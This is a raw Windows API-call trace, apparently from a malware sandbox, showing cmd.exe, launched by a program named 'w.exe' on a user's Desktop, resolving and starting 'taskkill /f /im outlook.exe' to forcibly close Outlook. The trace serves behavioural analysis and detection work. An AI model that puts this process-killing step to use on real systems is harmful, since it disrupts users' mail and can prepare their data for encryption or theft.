	[0045.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x585670
	[0045.980] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x38f8b8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0045.980] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x38f8b8, lpFilePart=0x38f8b4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x38f8b4*="Desktop") returned 0x25
	[0045.980] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0045.980] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x38f634 | out: lpFindFileData=0x38f634*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x581e88
	[0045.980] FindClose (in: hFindFile=0x581e88 | out: hFindFile=0x581e88) returned 1
	[0045.980] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x38f634 | out: lpFindFileData=0x38f634*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x581e88
	[0045.981] FindClose (in: hFindFile=0x581e88 | out: hFindFile=0x581e88) returned 1
	[0045.981] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0045.981] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x38f634 | out: lpFindFileData=0x38f634*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x581e88
	[0045.981] FindClose (in: hFindFile=0x581e88 | out: hFindFile=0x581e88) returned 1
	[0045.981] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0045.981] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0045.981] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0045.981] GetProcessHeap () returned 0x570000
	[0045.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584b80 | out: hHeap=0x570000) returned 1
	[0045.981] GetEnvironmentStringsW () returned 0x584090*
	[0045.981] GetProcessHeap () returned 0x570000
	[0045.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb36) returned 0x585ed0
	[0045.981] FreeEnvironmentStringsW (penv=0x584090) returned 1
	[0045.981] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a065260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0045.981] GetProcessHeap () returned 0x570000
	[0045.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585670 | out: hHeap=0x570000) returned 1
	[0045.981] GetProcessHeap () returned 0x570000
	[0045.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400e) returned 0x586a10
	[0045.982] GetProcessHeap () returned 0x570000
	[0045.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4a) returned 0x582d60
	[0045.982] GetProcessHeap () returned 0x570000
	[0045.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4008) returned 0x58aa28
	[0045.982] GetProcessHeap () returned 0x570000
	[0045.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4008) returned 0x58ea38
	[0045.983] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0045.984] GetProcessHeap () returned 0x570000
	[0045.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x418) returned 0x582db8
	[0045.984] SetErrorMode (uMode=0x0) returned 0x8003
	[0045.984] SetErrorMode (uMode=0x1) returned 0x0
	[0045.984] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x582dc0, lpFilePart=0x38f830 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x38f830*="f") returned 0x31
	[0045.984] SetErrorMode (uMode=0x8003) returned 0x1
	[0045.984] GetProcessHeap () returned 0x570000
	[0045.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x582db8, Size=0x8c) returned 0x582db8
	[0045.984] GetProcessHeap () returned 0x570000
	[0045.984] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x582db8) returned 0x8c
	[0045.984] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0045.984] GetProcessHeap () returned 0x570000
	[0045.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x72) returned 0x592a60
	[0045.984] GetProcessHeap () returned 0x570000
	[0045.984] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xd8) returned 0x582e50
	[0045.985] GetProcessHeap () returned 0x570000
	[0045.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x582e50, Size=0x72) returned 0x582e50
	[0045.985] GetProcessHeap () returned 0x570000
	[0045.985] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x582e50) returned 0x72
	[0045.985] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a070640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.985] GetProcessHeap () returned 0x570000
	[0045.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe0) returned 0x582ed0
	[0045.988] GetProcessHeap () returned 0x570000
	[0045.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x582ed0, Size=0x76) returned 0x582ed0
	[0045.988] GetProcessHeap () returned 0x570000
	[0045.988] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x582ed0) returned 0x76
	[0045.988] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0045.988] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im outlook.exe ", fInfoLevelId=0x1, lpFindFileData=0x38f5cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38f5cc) returned 0xffffffff
	[0045.988] GetLastError () returned 0x3
	[0045.989] GetProcessHeap () returned 0x570000
	[0045.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58aa28 | out: hHeap=0x570000) returned 1
	[0045.989] GetProcessHeap () returned 0x570000
	[0045.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea38 | out: hHeap=0x570000) returned 1
	[0045.989] GetProcessHeap () returned 0x570000
	[0045.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586a10 | out: hHeap=0x570000) returned 1
	[0045.989] GetConsoleOutputCP () returned 0x1b5
	[0045.989] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a064260 | out: lpCPInfo=0x4a064260) returned 1
	[0045.989] GetUserDefaultLCID () returned 0x409
	[0045.989] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a064950, cchData=8 | out: lpLCData=":") returned 2
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x38f9f8, cchData=128 | out: lpLCData="0") returned 2
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x38f9f8, cchData=128 | out: lpLCData="0") returned 2
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x38f9f8, cchData=128 | out: lpLCData="1") returned 2
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a064940, cchData=8 | out: lpLCData="/") returned 2
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a064d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a064d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a064d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a064cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a064c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a064c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a064c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a064930, cchData=8 | out: lpLCData=".") returned 2
	[0045.990] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a064920, cchData=8 | out: lpLCData=",") returned 2
	[0045.990] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0045.991] GetProcessHeap () returned 0x570000
	[0045.991] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20c) returned 0x582f50
	[0045.991] GetConsoleTitleW (in: lpConsoleTitle=0x582f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0045.992] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0045.992] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0045.992] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0045.992] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0045.992] GetProcessHeap () returned 0x570000
	[0045.992] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x586a10
	[0045.992] GetProcessHeap () returned 0x570000
	[0045.992] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586a10 | out: hHeap=0x570000) returned 1
	[0045.993] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0045.993] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0045.993] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0045.993] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0045.993] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0045.993] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0045.993] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0045.993] GetProcessHeap () returned 0x570000
	[0045.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x58) returned 0x583168
	[0045.993] GetProcessHeap () returned 0x570000
	[0045.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1a) returned 0x585710
	[0045.994] GetProcessHeap () returned 0x570000
	[0045.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x32) returned 0x5831c8
	[0045.994] GetConsoleTitleW (in: lpConsoleTitle=0x38f6f0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0045.995] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0045.995] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0045.995] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0045.995] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0045.995] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0045.995] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0045.995] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0045.995] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0045.995] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0045.995] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0045.995] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0045.995] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0045.995] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0045.995] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0045.995] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0045.995] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0045.995] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0045.995] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0045.995] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0045.995] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0045.995] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0045.995] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0045.995] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0045.995] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0045.995] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0045.995] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0045.996] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0045.996] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0045.996] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0045.996] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0045.996] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0045.996] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0045.996] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0045.996] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0045.996] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0045.996] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0045.996] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0045.996] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0045.996] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0045.996] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0045.996] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0045.996] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0045.996] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0045.996] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0045.996] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0045.996] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0045.996] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0045.996] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0045.996] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0045.996] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0045.996] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0045.996] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0045.996] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0045.996] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0045.996] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0045.996] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0045.996] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0045.996] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0045.996] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0045.996] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0045.997] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0045.997] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0045.997] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0045.997] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0045.997] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0045.997] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0045.997] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0045.997] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0045.997] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0045.997] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0045.997] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0045.997] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0045.997] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0045.997] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0045.997] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0045.997] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0045.997] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0045.997] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0045.997] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0045.997] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0045.997] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0045.997] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0045.997] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0045.997] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0045.997] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0045.997] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0045.997] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0045.998] GetProcessHeap () returned 0x570000
	[0045.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x210) returned 0x583208
	[0045.998] GetProcessHeap () returned 0x570000
	[0045.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x44) returned 0x583420
	[0045.998] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0045.998] GetProcessHeap () returned 0x570000
	[0045.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x418) returned 0x5707f0
	[0045.998] SetErrorMode (uMode=0x0) returned 0x8003
	[0045.998] SetErrorMode (uMode=0x1) returned 0x0
	[0045.998] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5707f8, lpFilePart=0x38f210 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x38f210*="Desktop") returned 0x25
	[0045.998] SetErrorMode (uMode=0x8003) returned 0x1
	[0045.998] GetProcessHeap () returned 0x570000
	[0045.998] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5707f0, Size=0x66) returned 0x5707f0
	[0045.998] GetProcessHeap () returned 0x570000
	[0045.998] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x5707f0) returned 0x66
	[0045.999] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a070640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0045.999] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0045.999] GetProcessHeap () returned 0x570000
	[0045.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x120) returned 0x583470
	[0045.999] GetProcessHeap () returned 0x570000
	[0045.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x238) returned 0x570860
	[0046.001] GetProcessHeap () returned 0x570000
	[0046.001] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570860, Size=0x122) returned 0x570860
	[0046.001] GetProcessHeap () returned 0x570000
	[0046.001] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x570860) returned 0x122
	[0046.001] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a070640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.001] GetProcessHeap () returned 0x570000
	[0046.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe0) returned 0x570990
	[0046.001] GetProcessHeap () returned 0x570000
	[0046.001] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570990, Size=0x76) returned 0x570990
	[0046.001] GetProcessHeap () returned 0x570000
	[0046.001] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x570990) returned 0x76
	[0046.001] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0046.001] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x38ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38ef8c) returned 0xffffffff
	[0046.001] GetLastError () returned 0x2
	[0046.001] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x38ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38ef8c) returned 0xffffffff
	[0046.001] GetLastError () returned 0x2
	[0046.001] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0046.002] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x38ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38ef8c) returned 0x570a10
	[0046.002] GetProcessHeap () returned 0x570000
	[0046.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x583598
	[0046.002] FindClose (in: hFindFile=0x570a10 | out: hFindFile=0x570a10) returned 1
	[0046.002] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x38ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38ef8c) returned 0xffffffff
	[0046.002] GetLastError () returned 0x2
	[0046.002] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x38ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x38ef8c) returned 0x570a10
	[0046.002] GetProcessHeap () returned 0x570000
	[0046.002] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x583598, Size=0x4) returned 0x583598
	[0046.002] FindClose (in: hFindFile=0x570a10 | out: hFindFile=0x570a10) returned 1
	[0046.002] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0046.002] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0046.002] GetConsoleTitleW (in: lpConsoleTitle=0x38f484, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0046.002] InitializeProcThreadAttributeList (in: lpAttributeList=0x38f30c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x38f3d4 | out: lpAttributeList=0x38f30c, lpSize=0x38f3d4) returned 1
	[0046.002] UpdateProcThreadAttribute (in: lpAttributeList=0x38f30c, dwFlags=0x0, Attribute=0x60001, lpValue=0x38f3cc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x38f30c, lpPreviousValue=0x0) returned 1
	[0046.003] GetStartupInfoW (in: lpStartupInfo=0x38f2c8 | out: lpStartupInfo=0x38f2c8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4)) 
	[0046.003] GetProcessHeap () returned 0x570000
	[0046.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x18) returned 0x570a10
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.003] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
